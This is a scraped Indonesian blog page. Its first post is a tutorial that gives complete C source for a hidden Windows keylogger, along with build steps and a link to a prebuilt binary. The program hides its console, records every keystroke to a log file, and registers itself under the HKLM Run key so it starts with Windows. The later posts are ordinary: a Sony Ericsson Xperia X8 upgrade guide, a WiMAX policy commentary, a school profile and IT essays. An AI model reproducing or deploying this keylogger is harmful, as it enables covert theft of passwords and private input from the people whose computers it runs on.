RSS

You can replace this text by going to "Layout" and then "Page Elements" section. Edit " About "

Tips Membuat Flash Disk Menjadi Keylogger

1.Sediakan Flash disk ato USB (kalau bisa yg ga ad virus)

2.Download dev C++ disini : http://www26.indowebster.com/80bc5a4ad5d52964211d187313324f5b.zip

3.Setelah Instal & buka > File > New Source File > kemudian paste code di bawah ini

#include 

#include

#include



#define BUFSIZE 80



int test_key(void);

int create_key(char *);

int get_keys(void);





int main(void)

{

HWND stealth; /*creating stealth (window is not visible)*/

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);



int test,create;

test=test_key();/*check if key is available for opening*/



if (test==2)/*create key*/

{

char *path="c:\\%windir%\\riz.exe";/*the path in which the file needs to be*/

create=create_key(path);



}





int t=get_keys();



return t;

}



int get_keys(void)

{

short character;

while(1)

{



for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{



FILE *file;

file=fopen("log.log","a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("[SHIFT]",file);

fclose(file);

break;

case VK_RETURN:

fputs("\n[ENTER]",file);

fclose(file);

break;

case VK_BACK:

fputs("[BACKSPACE]",file);

fclose(file);

break;

case VK_TAB:

fputs("[TAB]",file);

fclose(file);

break;

case VK_CONTROL:

fputs("[CTRL]",file);

fclose(file);

break;

case VK_DELETE:

fputs("[DEL]",file);

fclose(file);

break;

case VK_OEM_1:

fputs("[;:]",file);

fclose(file);

break;

case VK_OEM_2:

fputs("[/?]",file);

fclose(file);

break;

case VK_OEM_3:

fputs("[`~]",file);

fclose(file);

break;

case VK_OEM_4:

fputs("[ [{ ]",file);

fclose(file);

break;

case VK_OEM_5:

fputs("[\\|]",file);

fclose(file);

break;

case VK_OEM_6:

fputs("[ ]} ]",file);

fclose(file);

break;

case VK_OEM_7:

fputs("['\"]",file);

fclose(file);

break;

/*case VK_OEM_PLUS:

fputc('+',file);

fclose(file);

break;

case VK_OEM_COMMA:

fputc(',',file);

fclose(file);

break;

case VK_OEM_MINUS:

fputc('-',file);

fclose(file);

break;

case VK_OEM_PERIOD:

fputc('.',file);

fclose(file);

break;*/

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("[CAPS LOCK]",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}



}

return EXIT_SUCCESS;

}



int test_key(void)

{

int check;

HKEY hKey;

char path[BUFSIZE];

DWORD buf_length=BUFSIZE;

int reg_key;



reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);

if(reg_key!=0)

{

check=1;

return check;

}



reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);



if((reg_key!=0)||(buf_length>BUFSIZE))

check=2;

if(reg_key==0)

check=0;



RegCloseKey(hKey);

return check;

}



int create_key(char *path)

{

int reg_key,check;



HKEY hkey;



reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);

if(reg_key==0)

{

RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));

check=0;

return check;

}

if(reg_key!=0)

check=1;



return check;

}



4.liat tab di atas , klik Execute > pilih Rebuild All

5.Save dengan nama Riz (save dengan riz . tar kalo kgk , ane kgk tau gan kalo ga mulus )

6.Sekarang buka folder tempat agan nge rebuild itu .

7.Open Riz.exe > trus klik tombol apa aja di keyboard .

8.selesai , alhasil tombol yang agan klik tadi ke rekam di file log.log

9. buka file log.log (target file ny ada di directory tempat agan nge save file riz.exe)

Buat yang mau langsung jadi : http://www55.indowebster.com/yi7ikz2...p14nrlfjfo.rar


  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

10 Langkah Mudah Upgrade Sony Ericsson Xperia X8


Kehadiran Sony ericsson Xperia X8 cukup memberikangreget pada ranah ponsel android. Bentuknya yang minimalis serta harganya yang cukup terjangkau membuat para pemain baru di kelas android melirik ponsel besutan Jepang-Swedia itu.

Namun platformnya yang mengusung android versi donut (1.6) terkadang kurang optimal dalam kinerjanya. Tetapi kini para pemegangponsel tersebut dapat tersenyum senang karena dapat melakukan upgrading ke versi yang setingkat diatasnya yakni éclair (2.1).

Selain kita dapat mengunjungi Sony Ericsson Service Center yang tersebar di seluruh Indonesia, kitapun dapat melakukan upgrading sendiri secara manual. Namun jangan lupa, sebelum melakukan langkah tersebut, alangkah baiknya kita melakukan back-up pada menu back-up and restore.

Berikut langkah-langkah saat kita melakukan upgrading sendiri :

1. Cukup masuk ke website sony ericsson.com, masuk ke link update SE Xperia X8. Download file set-up. Pastikan computer kita tetap terhubung pada jaringan internet.

2. Setelah didownload, jalankan set-up aplikasi.

3. Set-up update akan mendeteksi ponsel anda.

4. Setelah terkoneksi, ada beberapa langkah yang harus kita jalani. Agar prosesnya lancar kita lakukan sesuai petunjuk, yakni melepas kabel data, mematikan ponsel, tunggu 5 detik lalu tekan tomboil back, kemudian colokan kembali kabel data (tombol back tetap ditekan). Setelah lampu indikator hijau di ponsel menyala, lepaskan tombol back.

5. Selanjutnya kita akan masuk menu update ponsel, ikuti sesuai langkah.

6. Kita akan diminta untuk mem-verifikasi update, apakah data kita sudah terback-up. (alangkah baiknya sebelum kita melakukan langkah update software, kita melakukan back-up pada menu back-up and restore). Setelah melakukan langkah back-up data, kita bisa meng-klik start pada menu update software.

7. Kita akan menerima konfirmasi instalasi, klik install.

8. Ponsel akan ter-update, waktu yang berlangsung untuk proses ini tergantng jaringan computer kita.

9. Setelah ter-update, secara otomatis beberapa file update akan terinstal di ponsel kita.

10. Setelah update selesai, pilih exit dan lepaskan kabel data dari ponsel. Kemudian nyalakan kembali ponsel kita. Setelah ponsel menyala dan kita melakukan beberapa verifikasi, kita dapat melakukan restore data kita pada menu back-up and restore.

Selamat meng-update….. :)

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

YANG TAMAK DI JALUR WIMAX

Tahun 2009, industri manufactur dalam negeri hanya mendapat 3% dari total belanja modal di sector telekominikasi yang mencapai Rp 45 Triliun lebih. Padahal kesiapan industri dalam negeri bias memberikan efek ganda pada perekonomian, seperti serapan tenaga kerja, investasi, dan penghematan devisa.

Tender Broadband Wireless Acess (BWA) misalnya, yang sudah menghasilkan pemenang dan bakal jadi penyedia layanan tersebut. Saying, masih ada pertentangan antara pemeritah dengan pemenang tender. Pengadaan perangkat jadi salah satu isu yang mencuat terkait dampaknya terhadap belanja modal telekomunikasi.

Mendesaknya implementasi BWA memang berhubungan dengan beberapa hal seperti upaya mengejar ketertinggalan akses internet, serta disebut-sebut bias mngoptimalkan Universal Dervice Obligation (USO). Termasuk menunjang pertumbuhan industri komponen local.

BWA adalah tehnologi akses yang dapat menawarkan layanan data atau internet berkecepatan tinggi via media nirkabel. BWA yang mengandalkan Worldwide Access (Wimax) memerlukan investasi lebih kecil ketimbang 3G namun menunjang kecepatan akses lebih baik.

Sayangnya, realisasi Wimax sepertinya bakal tertunda lagi. Dari delapan perusahaan pemenang tender, hanya Telkom Indonesia. Indosat Mega Media (IM2) dan First Media yang serius membayar up front fee dan biaya hak penggunaan (BHP) frekunsi tahun pertama untuk penyelenggaraan di pita 2,3 GHz.

Ternyata berhembus kabar tak sedap, sebagian pemenang tender enggan membayar karena belum yakin dengan perangkat jaringan Wimax local. Di sisi lain, pemerintah optimistis dengan kesiapan Wimax local versi BWA Nomadic 16.d yang dianutnya.

Alasan pemerintah memilih 16.d adalah untuk melindungi industri dalam negeri. Masalahnya, vendor jaringan asing berkilah versi tersebut tidak sesuai Wimax Forum yang mengusung BWA Mobile 16.e.

Kondisi ini erat hubungannya dengan target pemerintah bahwa indistri telekomunikasi harus mampu menyerap produk local minimal 30% dari belanja modal. Hal mengacu pada peraturan pemerintah tentang pendapatan Negara bukan pajak (PP PNBP) No.7/2009.


Dalam PP No.7/2009 itu disebutkan bahwa bila CAPEX operator tidak mencapai 30% untuk belanja konten local akan dikenakan pinalti sesuai PP Denda yang tengah disiapkan pemerintah.

Pemanfaatan konten dalam negeri bias memacu keterkaitan investor local untuk membangun pabrik perangkat telekomunikasi. Juga nantinya bakal mengurangi ketergantungan terhadap produk impor.

Dampak positifnya terbukanya lapangan kerja baru, investasi tak akan lari ke luar negeri dan teknologi dalam negeri kian berkualitas dan meningkat sesuai kebutuhan pasar. Saat ini, penyerapan konten local relative kecil 5 – 15% dan sisanya masih dikuasai asing.

Meruntut ke belakang, data yang dilansir Ditjen Postel pada kurun 2004-2005, kontribusi manufaktur asli Indonesia hanya sekitar 0,1-0,7% dari belanja modal Rp 40 triliun. Ini berarti kontribusi konten local hanya Rp 1,2 hingga Rp 8,4 miliar.

Inisiatif pemerintah mendukung konten local ternyata tak disambut baik sebagian pemenang tender BWA. Mereka tetap ngotot memaksakan penggunaan Wimax 16.e yang notabene berorientasi pada terbangnya belanja modal ke luar negeri. Pasalnya, kebutuhan impor pengayaan perangkat penunjang Wimax 16.e masih sangat tinggi.

Untung pemerintah menolak dengan tegas upaya tersebut. Langkah mewajibkan penggunaan kandungan local sebesar 35% belanja modal dan 50% belanja operasional operator penyelenggara layanan 3G dan Wimax memang bukan sesuatu yang bisa ditawar-tawar lagi.

Data Departemen Perindustrian menyebutkan, produksi sejumlah peralatan telekomunikasi telah mulai berkembang. Mulai dari kabel serat optic, perangkat satelit, radar, stasiun bumi, BWA/Wimax, dan tower.

Intinya, bukan masalah Wimax 16.d atau 16.e yang harus didukung, tapi pengurangan belanja perangkat telekomunikasi ke vendor asing yang seharusnya menjadi isu penting, guna mendorong kemampuan konten lokal.

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

SMPN 1 Denpasar





SMPN 1 Denpasar merupakan sekolah yang tidak asing lagi di masyarakat. Sekolah RSBI ini sudah cukup terkenal baik di dalam negeri maupun mancanegara. Sekolah yang terletak di JL. Surapati no.2 ini, telah banyak melahirkan siswa-siswi berprestasi dari segi akademik maupun non akademik. Tidak dapat dipungkiri lagi kehebatan siswa-siswa ataupun guru pengajar di SMPN 1. Banyak perjuanagan yang perlu dilalui untuk masuk dan bersekolah di sekolah ini. SMPN 1 Denpasar juga memiliki guru yang sangat berkualitas tinggi, sehingga murid pun bisa dengan cepat menyerap pelajaranyang diajarkan. Guru - guru di SMPN 1 Denpasar juga mempunyai kemampuan yang mungkin tidak dimiliki oleh guru - guru di SMP - SMP lainnya.
Sekolah ini memiliki gedung yang cukupluas, dengan keasrian lingkungannya yang membuat SMPN 1 memiliki daya tarik tersendiri. Di sekolah ini terdapat beberapa jenis kelas, yaitu Acceleration, SBI, Bilingual dan Reguler. SMPN 1 Denpasar masih memiliki beberapa kekurangan yang harus dibenahi sedikit demi sedikit dengan usaha dari semua warga sekolahnya. Saya pun berharap agar SMPN 1 bisa menjadi lebih baik dan terlihat sempurna dari berbagai macam sudut pandang. Demikianlah cerita sekilas saya tentang SMPN 1 Denpasar yang saya banggakan.

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

penelitian dibidang Teknologi Informasi

Perkembangan teknologi informasi dapat meningkatkan kinerja dan memungkinkan berbagai kegiatan dapat dilaksanakan dengan cepat, tepat dan akurat, sehingga akhirnya akan meningkatkan produktivitas. Perkem-bangan teknologi informasi memper-lihatkan bermunculannya berbagai jenis kegiatan yang berbasis pada teknologi ini, seperti e-government, e- commerce, e-education, e-medicine, e-e-laboratory, dan lainnya, yang kesemuanya itu berbasiskan elektronika.

Teknologi Informasi adalah suatu teknologi yang digunakan untuk mengolah data, termasuk memproses, mendapatkan, menyusun, menyimpan, memanipulasi data dalam berbagai cara untuk menghasilkan informasi yang berkualitas, yaitu informasi yang relevan, akurat dan tepat waktu, yang digunakan untuk keperluan pribadi, bisnis, dan pemerintahan dan merupakan informasi yang strategis untuk pengambilan keputusan. Teknologi ini menggunakan seperangkat komputer untuk mengolah data, sistem jaringan untuk menghubungkan satu komputer dengan komputer yang lainnya sesuai dengan kebutuhan, dan teknologi telekomunikasi digunakan agar data dapat disebar dan diakses secara global.
Peran yang dapat diberikan oleh aplikasi teknologi informasi ini adalah mendapatkan informasi untuk kehidupan pribadi seperti informasi tentang kesehatan, hobi, rekreasi, dan rohani. Kemudian untuk profesi seperti sains, teknologi, perdagangan, berita bisnis, dan asosiasi profesi. Sarana kerjasama antara pribadi atau kelompok yang satu dengan pribadi atau kelompok yang lainnya tanpa mengenal batas jarak dan waktu, negara, ras, kelas ekonomi, ideologi atau faktor lainnya yang dapat menghambat bertukar pikiran.
Perkembangan Teknologi Informasi memacu suatu cara baru dalam kehidupan, dari kehidupan dimulai sampai dengan berakhir, kehidupan seperti ini dikenal dengan e-life, artinya kehidupan ini sudah dipengaruhi oleh berbagai kebutuhan secara elektronik. Dan sekarang ini sedang semarak dengan berbagai huruf yang dimulai dengan awalan e
seperti e-commerce, e-government, e-education, e-library, e-journal, e-medicine, e-laboratory, e-biodiversitiy, dan yang lainnya lagi yang berbasis elektronika.
Dalam kehidupan kita dimasa mendatang, sektor teknologi informasi dan telekomunikasi merupakan sektor yang paling dominan. Siapa saja yang menguasai teknologi ini, maka dia akan menjadi pemimpin dalam dunianya. Teknologi informasi banyak berperan dalam bidang-bidang antara lain :
Bidang pendidikan(e-education)
Bidang Pemerintahan (e-government)
Bidang Keuangan dan Perbankan

Perkembangan teknologi informasi Indonesia sangat dipengaruhi oleh kemampuan sumber daya manusia dalam memahami komponen teknologi informasi, seperti perangkat keras dan perangkat lunak komputer; sistem jaringan baik berupa LAN ataupun WAN dan sistem telekomunikasi yang akan digunakan untuk mentransfer data. Kebutuhan akan tenaga yang berbasis teknologi informasi masih terus meningkat; hal ini bisa terlihat dengan banyaknya jenis pekerjaan yang memerlukan kemampuan di bidang teknologi informasi di berbagai bidang; juga jumlah SDM berkemampuan di bidang teknologi informasi masih sedikit, jika dibandingkan dengan jumlah penduduk Indonesia.
Diperlukan suatu kerangka teknologi informasi nasional yang akan mewujudkan masyarakat Indonesia siap menghadapi AFTA 2003 yang dapat menyediakan akses universal terhadap informasi kepada masyarakat luas secara adil dan merata, meningkatkan koordinasi dan pendayagunaan informasi secara optimal, meningkatkan efisiensi dan produktivitas, meningkatkan kualitas dan kuantitas sumberdaya manusia, meningkatkan pemanfaatan infrastruktur teknologi informasi, termasuk penerapan peraturan perundang-undangan yang mendukungnya; mendorong pertumbuhan ekonomi dengan pemanfaatan dan pengembangan teknologi informasi.
Akhirnya, era perdagangan bebas Asean benar-benar berlaku yang kita kenal dengan ASEAN Free Trade Area (AFTA) resmi berlaku di tahun 2003 ini. Inilah salah satu kenyataan globalisasi perekonomian dunia yang nyata. Integrasi perekonomian nasional dengan perekonomian regional/global seperti AFTA, APEC, WTO/GATT memang tidak bisa dihindari. Suka atau tidak suka, mau atau tidak mau, kenyataan integrasi perekonomian dunia ini memang harus dihadapi.

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS


  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

TEKNOLOGI INFORMASI DAN KOMUNIKASI : KONSEP DAN PERKEMBANGANNYA

Hari Wibawanto

Teknik Elektro Fakultas Teknik

Universitas Negeri Semarang

Pendahuluan

Teknologi Informasi dan Komunikasi (TIK) sebagai bagian dari ilmu pengetahuan dan teknologi (IPTEK) secara umum adalah semua yang teknologi berhubungan dengan pengambilan, pengumpulan (akuisisi), pengolahan, penyimpanan, penyebaran, dan penyajian informasi (Kementerian Negara Riset dan Teknologi, 2006: 6). Tercakup dalam definisi tersebut adalah semua perangkat keras, perangkat lunak, kandungan isi, dan infrastruktur komputer maupun (tele)komunikasi. Istilah TIK atau ICT (Information and Communication Technology), atau yang di kalangan negara Asia berbahasa Inggris disebut sebagai Infocom, muncul setelah berpadunya teknologi komputer (baik perangkat keras maupun perangkat lunaknya) dan teknologi komunikasi sebagai sarana penyebaran informasi pada paruh kedua abad ke-20. Perpaduan kedua teknologi tersebut berkembang sangat pesat, jauh melampaui bidang-bidang teknologi lainnya. Bahkan sampai awal abad ke-21 ini, dipercaya bahwa bidang TIK masih akan terus pesat berkembang dan belum terlihat titik jenuhnya sampai beberapa dekade mendatang. Pada tingkat global, perkembangan TIK telah mempengaruhi seluruh bidang kehidupan umat manusia. Intrusi TIK ke dalam bidang-bidang teknologi lain telah sedemikian jauh sehingga tidak ada satupun peralatan hasil inovasi teknologi yang tidak memanfaatkan perangkat TIK.

Membicarakan pengaruh TIK pada berbagai bidang lain tentu memerlukan waktu diskusi yang sangat panjang. Dalam makalah ini, kaitan TIK dengan proses pembelajaran disoroti lebih dibanding dengan kaitannya dengan bidang lain. Tanpa mengecilkan pengaruh TIK di bidang lain, bidang pembelajaran mendapatkan manfaat lebih dalam kaitannya dengan kemampuan TIK mengolah dan menyebarkan informasi.

Perkembangan TIK

Bila dilacak ke belakang, terdapat beberapa tonggak perkembangan teknologi yang secara nyata memberi sumbangan terhadap eksistensi TIK saat ini. Pertama adalah temuan telepon oleh Alexander Graham Bell pada tahun 1875. Temuan ini kemudian ditindaklanjuti dengan penggelaran jaringan komunikasi dengan kabel yang melilit seluruh daratan Amerika, bahkan kemudian diikuti pemasangan kabel komunikasi trans-atlantik. Inilah infrastruktur masif pertama yang dibangun manusia untuk komunikasi global. Memasuki abad ke-20, tepatnya antara tahun 1910-1920, terealisasi transmisi suara tanpa kabel melalui siaran radio AM yang pertama (Lallana, 2003:5). Komunikasi suara tanpa kabel segera berkembang pesat, dan kemudian bahkan diikuti pula oleh transmisi audio-visual tanpa kabel, yang berwujud siaran televisi pada tahun 1940-an. Komputer elektronik pertama beroperasi pada tahun 1943, yang kemudian diikuti oleh tahapan miniaturisai komponen elektronik melalui penemuan transistor pada tahun 1947, dan rangkaian terpadu (integrated electronics) pada tahun 1957. Perkembangan teknologi elektronika, yang merupakan soko guru TIK saat ini, mendapatkan momen emasnya pada era perang dingin. Persaingan IPTEK antara blok Barat (Amerika Serikat) dan blok Timur (eks Uni Sovyet) justru memacu perkembangan teknologi elektronika lewat upaya miniaturisasi rangkaian elektronik untuk pengendali pesawat ruang angkasa maupun mesin-mesin perang. Miniaturisasi komponen elektronik, melalui penciptaan rangkaian terpadu, pada puncaknya melahirkan mikroprosesor. Mikroprosesor inilah yang menjadi ‘otak’ perangkat keras komputer, dan terus berevolusi sampai saat ini.

Di lain pihak, perangkat telekomunikasi berkembang pesat saat mulai diimplementasi-kannya teknologi digital menggantikan teknologi analog yang mulai menampakkan batas-batas maksimal pengeksplorasiannya. Digitalisasi perangkat telekomunikasi kemudian berkonvergensi dengan perangkat komputer yang dari awal merupakan perangkat yang mengadopsi teknologi digital. Produk hasil konvergensi inilah yang saat ini muncul dalam bentuk telepon seluler. Di atas infrastruktur telekomunikasi dan komputasi inilah kandungan isi (content) berupa multimedia, mendapatkan tempat yang tepat untuk berkembang. Konvergensi telekomunikasi-komputasi-multimedia inilah yang menjadi ciri abad ke-21, sebagaimana abad ke-18 dicirikan oleh revolusi industri. Bila revolusi industri menjadikan mesin-mesin sebagai pengganti ‘otot’ manusia maka revolusi digital (karena konvergensi telekomunikasi-komputasi-multimedia terjadi melalui implementasi teknologi digital) menciptakan mesin-mesin yang mengganti (atau setidaknya meningkatkan kemampuan) ‘otak’ manusia.

Indonesia pernah menggunakan istilah telematika (telematics) untuk maksud yang kurang lebih sama dengan TIK yang kita kenal saat ini. Encarta Dictionary mendeskripsikan telematics sebagai telecommunication+informatics (telekomunikasi+informatika) meskipun sebelumnya kata itu bermakna science of data transmission. Pengolahan informasi dan pendistribusiannya melalui jaringan telekomunikasi membuka banyak peluang untuk dimanfaatkan di berbagai bidang kehidupan manusia, termasuk bidang pendidikan. Ide untuk menggunakan mesin-belajar, membuat simulasi proses-proses yang rumit, animasi proses-proses yang sulit dideskripsikan, sangat menarik minat praktisi pembelajaran. Tambahan lagi, kemungkinan untuk melayani pembelajaran yang tak terkendala waktu dan tempat, juga dapat difasilitasi oleh TIK. Sejalan dengan itu mulailah bermunculan berbagai jargon berawalan e, mulai dari e-book, e-learning, e-laboratory, e-education, e-library dan sebagainya. Awalan e- bermakna electronics yang secara implisit dimaknai berdasar teknologi elektronika digital.

Kebijakan Nasional bidang TIK

Menyadari pentingnya TIK sebagai bidang yang berperan besar dalam pembangunan nasional, Kementerian Negara Riset dan Teknologi memberikan arahan sektor-sektor yang diprioritaskan untuk dikembangkan melalui kegiatan riset, antara lain: infrastruktur informasi, perangkat lunak, kandungan informasi (information content), pengembangan SDM dan kelembagaan, pengembangan regulasi dan standarisasi (Kementerian Negara Riset dan Teknologi, 2006: 5).

Infrastruktur Informasi

Infrastruktur informasi terdiri atas beberapa aspek yang seluruhnya harus dibangun secara paralel dan saling menunjang. Aspek pertama adalah jaringan fisikyang berfungsi sebagai jalan raya informasi baik pada tingkat jaringan tulang-punggung maupun tingkat akses pelanggan. Jaringan tulang punggung harus mampu menghubungkan seluruh daerah Indonesia sampai wilayah pemerintahan terkecil. Pada tingkat akses pelanggan harus memungkinkan tersedianya akses yang murah dan memadai bagi masyarakat luas.

Aspek kedua menekankan pada kemanfaatan sebesar-besarnya pengelolaan sumber informasi bagi seluruh komponen masyarakat. Kondisi ini dapat dicapai melalui diwujudkannya interoperabilitas sumber daya informasi yang tersebar luas sehingga dapat dimanfaatkan secara efisien dan efektif oleh seluruh pemangku kepentingan.

Aspek terakhir adalah pengembangan perangkat keras, baik di sisi jaringan maupun di sisi terminal. Pengembangan ini harus dirancang berdasarkan kebutuhan dan kondisi jaringan yang ada di Indonesia, dengan mengadopsi sistem terbuka dan menanamkan tingkat kecerdasan tertentu untuk memudahkan integrasi sistem dan pengembangannya di masa depan.

Perangkat Lunak

Pengembangan perangkat lunak diarahkan pada realisasi sistem aplikasi yang mampu menunjang proses transaksi ekonomi yang cepat dan aman, serta pengambilan keputusan yang benar dan cepat. Harga yang terjangkau dan daya saing pada tingkat internasional merupakan salah satu kriteria yang dipersyaratkan, khususnya mendukung kebijakan substitusi impor.

Perangkat lunak sistem operasi dengan kehandalan tinggi dan kebutuhan sumber daya memori maupun prosesor yang minimal serta fleksibel terhadap perangkat keras maupun program aplikasi yang baru, merupakan prioritas yang harus dikembangkan. Program aplikasi juga perlu dikembangkan, terutama yang terkait dengan sektor perekonomian, industri, pendidikan, maupun pemerintahan.

Dalam mempercepat pengembangan dan pendayagunaan perangkat lunak, perlu pula ditinjau implementasi konsep open source. Penerapan konsep open source ini diharapkan mampu menggalakkan industri perangkat lunak dengan partisipasi seluruh lapisan masyarakat tanpa melakukan pelanggaran hak cipta.

Kandungan Informasi

Kegiatan pengembangan kandungan informasi (information content) bertujuan melakukan penataan, penyimpanan, dan pengolahan informasi yang diperlukan untuk meningkatkan efisiensi proses pembangunan, pengorganisasian, pencarian, dan pendistribusian informasi.

Kegiatan riset dan pengembangan kandungan informasi diawali dengan pemetaan berbagai potensi dan informasi nasional beserta pemodelan proses information retrieval. Dengan demikian implementasi information repository dan information sharing merupakan salah satu faktor penentu keberhasilan pengembangan teknologi informasi dan komunikasi. Pemanfaatan maksimal kandungan informasi yang tersebar di seluruh wilayah Indonesia dengan potensi lokal, akumulasi kekayaan seni dan budaya Indonesia yang beraneka ragam dapat pula dieksploitasi sebesar-besarnya untuk menghasilkan produk-produk seni budaya yang berbasis multimedia.

Pengembangan SDM

Dalam pengembangan Sumber Daya Manusia (SDM) diperlukan upaya peningkatan kemandirian dan keunggulan, yang salah satunya adalah dengan mengembangkan sistem pendidikan dan pelatihan untuk membentuk keahlian dan keterampilan masyarakat dan peneliti dalam bidang teknologi yang strategis serta mengantisipasi timbulnya kesenjangan keahlian sebagai akibat kemajuan teknologi, khususnya teknologi informasi dan komunikasi.

Pengembangan Regulasi dan Standarisasi

Program kajian regulasi meliputi penyusunan Undang-Undang dan penyempurnaan berbagai kebijakan terkait bidang teknologi informasi, komunikasi dan broadcasting. Salah satunya adalah penyempurnaan Cetak Biru Telekomunikasi dan UU Telekomunikasi No. 36/1999 yang sudah mulai ketinggalan dengan perkembangan teknologi dan tuntutan masyarakat. Penyelesaian Rancangan UU tentang Informasi dan Transaksi Elektronik dan berbagai UU lain yang dapat mendorong pertumbuhan aplikasi IT sangatlah diharapkan realisasinya pada tahun 2005-2025. Termasuk dalam kerangka regulasi ini adalah mempercepat terlaksananya proses kompetisi yang sebenar-benarnya dalam penyediaan jasa telekomunikasi sehingga dapat memberikan perbaikan kondisi layanan, kemudahan bagi pengguna jasa, serta harga yang ekonomis.

TIK dalam Pembelajaran

Pemanfaatan TIK dalam pembelajaran di Indonesia telah memiliki sejarah yang cukup panjang. Inisiatif menyelenggarakan siaran radio pendidikan dan televisi pendidikan sebagai upaya melakukan penyebaran informasi ke satuan-satuan pendidikan yang tersebar di seluruh nusantara, merupakan wujud dari kesadaran untuk mengoptimalkan pendayagunaan teknologi dalam membantu proses pembelajaran masyarakat. Kelemahan utama siaran radio maupun televisi pendidikan adalah tidak adanya interaksi imbal-balik yang seketika. Siaran bersifat searah, dari nara sumber belajar atau fasilitator kepada pembelajar.

Introduksi komputer dengan kemampuannya mengolah dan menyajikan tayangan multimedia (teks, grafis, gambar, suara, dan movie) memberikan peluang baru untuk mengatasi kelemahan yang tidak dimiliki siaran radio dan televisi. Bila televisi hanya mampu memberikan informasi searah (terlebih-lebih bila materi tayangannya adalah materi hasil rekaman), pembelajaran berbasis teknologi internet memberikan peluang berinteraksi baik secara sinkron (real time) maupun asinkron (delayed). Pembelajaran berbasis Internet memungkinkan terjadinya pembelajaran secara sinkron dengan keunggulan utama bahwa pembelajar maupun fasilitator tidak harus berada di satu tempat yang sama. Pemanfaatan teknologi video conference yang dijalankan berdasar teknologi Internet, memungkinkan pembelajar berada di mana saja sepanjang terhubung ke jaringan komputer. Selain aplikasi puncak seperti itu, beberapa peluang lain yang lebih sederhana dan lebih murah juga dapat dikembangkan sejalan dengan kemajuan TIK saat ini.

Buku Elektronik

Buku elektronik atau ebook adalah salah satu teknologi yang memanfaatkan komputer untuk menayangkan informasi multimedia dalam bentuk yang ringkas dan dinamis. Ke dalam ebook dapat diintegrasikan tayangan suara, grafik, gambar, animasi, maupun movie sehingga informasi yang disajikan lebih kaya dibandingkan dengan buku konvensional.

Jenis ebook paling sederhana adalah yang sekedar memindahkan buku konvensional menjadi bentuk elektronik yang ditayangkan oleh komputer. Dengan teknologi ini, ratusan buku dapat disimpan dalam satu keping CD atau compact disk (kapasitas sekitar 700MB), DVD atau digital versatile disk (kapasitas 4,7 sampai 8,5 GB), ataupun flashdisk (saat ini kapasitas yang tersedia sampai 4 GB). Bentuk yang lebih kompleks dan memerlukan rancangan yang lebih cermat ada pada misalnya Microsoft Encarta dan Encyclopedia Britannica yang merupakan ensiklopedi dalam format multimedia. Format multimedia memungkinkan ebook menyediakan tidak saja informasi tertulis tetapi juga suara, gambar, movie dan unsur multimedia lainnya. Penjelasan tentang satu jenis musik, misalnya, dapat disertai dengan cuplikan suara jenis musik tersebut sehingga pengguna dapat dengan jelas memahami apa yang dimaksud oleh penyaji.

E-learning

Beragam definisi dapat ditemukan untuk e-learning. Victoria L. Tinio, misalnya, menyatakan bahwa e-learning meliputi pembelajaran pada semua tingkatan, formal maupun nonformal yang menggunakan jaringan komputer (intranet maupun ekstranet) untuk pengantaran bahan ajar, interaksi, dan/atau fasilitasi (Tinio, tt: 4). Untuk pembelajaran yang sebagian prosesnya berlangsung dengan bantuan jaringan internet, sering disebut sebagai online learning. Definisi yang lebih luas dikemukakan pada working paper SEAMOLEC, yakni e-learning adalah pembelajaran melalui jasa elektronik (SEAMOLEC, 2003:1). Meski beragam definisi namun pada dasarnya disetujui bahwa e-learning adalah pembelajaran dengan memanfaatkan teknologi elektronik sebagai sarana penyajian dan distribusi informasi. Dalam definisi tersebut tercakup siaran radio maupun televisi pendidikan sebagai salah satu bentuk e-learning. Meskipun per definisi radio dan televisi pendidikan adalah salah satu bentuk e-learning, pada umumnya disepakati bahwa e-learning mencapai bentuk puncaknya setelah bersinergi dengan teknologi internet. Internet-based learning atau web-based learning dalam bentuk paling sederhana adalah web-site yang dimanfaatkan untuk menyajikan materi-materi pembelajaran. Cara ini memungkinkan pembelajar mengakses sumber belajar yang disediakan oleh nara sumber atau fasilitator kapanpun dikehendaki. Bila diperlukan, dapat pula disediakan mailing-list khusus untuk situs pembelajaran tersebut yang berfungsi sebagai forum diskusi.

